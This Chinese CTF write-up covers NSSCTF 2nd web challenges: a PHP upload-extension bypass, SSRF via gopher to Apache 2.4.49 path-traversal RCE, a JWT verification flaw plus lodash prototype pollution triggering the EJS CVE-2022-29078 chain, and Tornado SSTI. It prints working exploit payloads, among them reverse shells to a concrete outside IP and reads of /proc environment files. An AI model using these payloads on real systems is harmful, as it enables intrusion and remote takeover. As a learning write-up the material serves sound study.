NSSCTF 2nd WP与学习
php签到 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php function waf ($filename ) { $black_list = array ("ph" , "htaccess" , "ini" ); $ext = pathinfo ($filename , PATHINFO_EXTENSION); foreach ($black_list as $value ) { if (stristr ($ext , $value )){ return false ; } } return true ; } if (isset ($_FILES ['file' ])){ $filename = urldecode ($_FILES ['file' ]['name' ]); $content = file_get_contents ($_FILES ['file' ]['tmp_name' ]); if (waf ($filename )){ file_put_contents ($filename , $content ); } else { echo "Please re-upload" ; } } else { highlight_file (__FILE__ ); }
一道文件上传的题目,主要就是后缀名怎么去绕过pathinfo()函数
参考以下文章
https://www.freesion.com/article/7470682764/
https://www.anquanke.com/post/id/253383
在操作系统中,都是禁止使用/作为文件名的,但是不知道为什么后面加一个.就可以成功的写入1.php了。
$pathinfo[extension]=pathfo($name,PATHINFO_EXTENSION) 获取文件后缀名时时获取的 . 后面的内容,当出现多个 . 时,结果为最后一个 . 后面的内容。所以可以利用这个特性实现对后缀名检测的绕过。
所以用/.
绕过就行 记得要url编码一下
上传成功后 就是rce即可
2周年快乐! 进入题目中win12系统 用里面的cmd发个curl https://www.nssctf.cn/flag
就能在nss站内收到flag邮件了
MyBox 非预期了 直接file:///proc/1/environ
flag就在环境变量中
MyBox(revenge) 一道gopher协议 打apache2.4.49 ssrf+路径穿越RCE的题目
做题根本想不到
首先file:///app/app.py
获得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from flask import Flask , request, redirectimport requests, socket, structfrom urllib import parseapp = Flask (__name__) @app.route ('/' ) def index (): if not request.args .get ('url' ): return redirect ('/?url=dosth' ) url = request.args .get ('url' ) if url.startswith ('file://' ): if 'proc' in url or 'flag' in url : return 'no!' with open (url[7 :], 'r' ) as f : data = f.read () if url[7 :] == '/app/app.py' : return data if 'NSSCTF' in data : return 'no!' return data elif url.startswith ('http://localhost/' ): return requests.get (url).text elif url.startswith ('mybox://127.0.0.1:' ): port, content = url[18 :].split ('/_' , maxsplit=1 ) s = socket.socket (socket.AF_INET , socket.SOCK_STREAM ) s.settimeout (5 ) s.connect (('127.0.0.1' , int (port))) s.send (parse.unquote (content).encode ()) res = b'' while 1 : data = s.recv (1024 ) if data : res += data else : break return res return '' app.run ('0.0.0.0' , 827 )
先发包看看80端口 偷的大佬的
1 mybox://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/%252A%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25200%250D%250A%250D%250A%250D%250A
显示apahce2.4.49 然后是一个gopher+路径穿越rce
参考:https://classic0796.com/index.php/archives/6/
可以构造这种请求包来rce
直接用god脚本 不用手动去构造%0D%0A
还有一个小点是那个_
一定要加不然会将之后数据第一个字符吞了
参考:https://cloud.tencent.com/developer/article/1610645
还有一个小点就是我们都找到三个双引号或者单引号在python中是注释符 但是也可以被当作用来括普通字符串的qwq
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from urllib.parse import quotetest =\ "" "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1 Host: 127.0.0.1 User-Agent: curl/7.68.0 Content-Length:59 echo;bash -c " bash -i >& /dev/ tcp/8.130 .34 .53 /7777 <&1 " " "" #http : tmp = quote (test) new = tmp.replace ('%0A' ,'%0D%0A' )print (new )result='_' +quote (new ) #post #result = '_' +new common="gopher://127.0.0.1:80/" print (quote (common)+result)
MyJs 源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 const express = require ('express' );const bodyParser = require ('body-parser' );const lodash = require ('lodash' );const session = require ('express-session' );const randomize = require ('randomatic' );const jwt = require ('jsonwebtoken' )const crypto = require ('crypto' );const fs = require ('fs' );global .secrets = [];express () .use (bodyParser.urlencoded ({extended : true })) .use (bodyParser.json ()) .use ('/static' , express.static ('static' )) .set ('views' , './views' ) .set ('view engine' , 'ejs' ) .use (session ({ name : 'session' , secret : randomize ('a' , 16 ), resave : true , saveUninitialized : true })) .get ('/' , (req, res ) => { if (req.session .data ) { res.redirect ('/home' ); } else { res.redirect ('/login' ) } }) .get ('/source' , (req, res ) => { res.set ('Content-Type' , 'text/javascript;charset=utf-8' ); res.send (fs.readFileSync (__filename)); }) .all ('/login' , (req, res ) => { if (req.method == "GET" ) { res.render ('login.ejs' , {msg : null }); } if (req.method == "POST" ) { const {username, password, token} = req.body ; const sid = JSON .parse (Buffer .from (token.split ('.' )[1 ], 'base64' ).toString ()).secretid ; if (sid === undefined || sid === null || !(sid < global .secrets .length && sid >= 0 )) { return res.render ('login.ejs' , {msg : 'login error.' }); } const secret = global .secrets [sid]; const user = jwt.verify (token, secret, {algorithm : "HS256" }); if (username === user.username && password === user.password ) { req.session .data = { username : username, count : 0 , } res.redirect ('/home' ); } else { return res.render ('login.ejs' , {msg : 'login error.' }); } } }) .all ('/register' , (req, res ) => { if (req.method == "GET" ) { res.render ('register.ejs' , {msg : null }); } if (req.method == "POST" ) { const {username, password} = req.body ; if (!username || username == 'nss' ) { return res.render ('register.ejs' , {msg : "Username existed." }); } const secret = crypto.randomBytes (16 ).toString ('hex' ); const secretid = global .secrets .length ; global .secrets .push (secret); const token = jwt.sign ({secretid, username, password}, secret, {algorithm : "HS256" }); res.render ('register.ejs' , {msg : "Token: " + token}); } }) .all ('/home' , (req, res ) => { if (!req.session .data ) { return res.redirect ('/login' ); } res.render ('home.ejs' , { username : req.session .data .username ||'NSS' , count : req.session .data .count ||'0' , msg : null }) }) .post ('/update' , (req, res ) => { if (!req.session .data ) { return res.redirect ('/login' ); } if (req.session .data .username !== 'nss' ) { return res.render ('home.ejs' , { username : req.session .data .username ||'NSS' , count : req.session .data .count ||'0' , msg : 'U cant change uid' }) } let data = req.session .data || {}; req.session .data = lodash.merge (data, req.body ); console .log (req.session .data .outputFunctionName ); res.redirect ('/home' ); }) .listen (827 , '0.0.0.0' )
先是ejs空密钥缺陷 先注册获取一个时间戳
sid为token中的secretid,直接取数组让其报错为undefined
看大佬师傅的博客是因为jwt空算法攻击导致可伪造
官方:
verify时正确的参数是algorithms而不是algorithm,所以这里本质传了个空加密,导致允许空密钥,我们无须获得JWT密钥(高版本已修改)。
第二个是关于sid的弱比较,如果只是允许空密钥的话我们不知道secret依然无法verify,这里sid如果传个数组就能轻松绕过判断并且
然后本地构造一个nss账号的token
然后登录 可以看到/update路由下存在原型链污染 之后就是去找链子 没找到。。。。低能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 post ('/update' , (req, res ) => { if (!req.session .data ) { return res.redirect ('/login' ); } if (req.session .data .username !== 'nss' ) { return res.render ('home.ejs' , { username : req.session .data .username ||'NSS' , count : req.session .data .count ||'0' , msg : 'U cant change uid' }) } let data = req.session .data || {}; req.session .data = lodash.merge (data, req.body ); console .log (req.session .data .outputFunctionName ); res.redirect ('/home' ); })
是高版本ejs3.1.7的链子 终于找到出处了https://inhann.top/2023/03/26/ejs/ 还是个cve 妈的CVE-2022-29078
1 2 3 4 5 6 7 8 9 {"__proto__" :{ "settings" :{ "view options" :{ "escapeFunction" :"console.log;this.global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/8.130.34.53/7777 <&1\"');" , "client" :"true" } } } }
成功
MyHurricane 源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import tornado.ioloop import tornado.web import osBASE_DIR = os.path .dirname (__file__)def waf (data): bl = ['\'' , '"' , '__' , '(' , ')' , 'or' , 'and' , 'not' , '{{' , '}}' ] for c in bl : if c in data : return False for chunk in data.split (): for c in chunk : if not (31 < ord (c) < 128 ): return False return True class IndexHandler (tornado.web .RequestHandler ): def get (self): with open (__file__, 'r' ) as f : self.finish (f.read ()) def post (self): data = self.get_argument ("ssti" ) if waf (data): with open ('1.html' , 'w' ) as f : f.write (f"" "<html> <head></head> <body style=" font-size : 30px;">{data}</body></html> " "" ) f.flush () self.render ('1.html' ) else : self.finish ('no no no' ) if __name__ == "__main__" : app = tornado.web .Application ([ (r"/" , IndexHandler ), ], compiled_template_cache=False ) app.listen (827 ) tornado.ioloop .IOLoop .current ().start ()
一眼丁真是tornado的ssti了 payload大致上和我们学习flask ssti一样 都有稍有不同
waf了 ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
我死在了括号上 当时在想连括号都waf了 怎么了构造payload啊
之后发现大佬们根本不用括号。。。。
还有就是又有非预期
非预期 直接用文件包含
1 {% extend /proc/self/environ %}
或者
1 {% include /proc/self/environ %}
当然记得url编码打入
预期 还有另一种是god 的payload
1 ssti={%25 set _tt_utf8 =eval %25 }{%25 raw request.body_arguments [request.method ][0 ] %25 }&POST =__import__ ('os' ).popen ("bash -c 'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fip%2Fport%20%3C%261'" )
这种方法利用了tornado里的变量覆盖,让__tt_utf8为eval,在渲染时时会有__tt_utf8(__tt_tmp)这样的调用,然后让__tt_tmp为恶意字符串就好了,我fuzz了一下,上述payload中raw语句可以给tmp赋值,所以rce
就是常规的模板语句,只是输出不会被转义
request.body_arguments
:request.body_arguments 是 Tornado 框架中的一个属性,用于获取当前 HTTP 请求中的表单数据或URL编码数据。
在 HTTP 请求中,请求体(body)通常用于传输 POST 请求中的表单数据或 URL 编码数据。request.body_arguments 可以解析并返回这些数据的字典形式。
request.method
是 Tornado 框架中的一个属性,用于获取当前 HTTP 请求的请求方法
来自:https://www.tr0y.wang/2022/08/05/SecMap-SSTI-tornado/#%E5%88%A9%E7%94%A8-httpserverrequest
真的太强了qwq 又学到新姿势了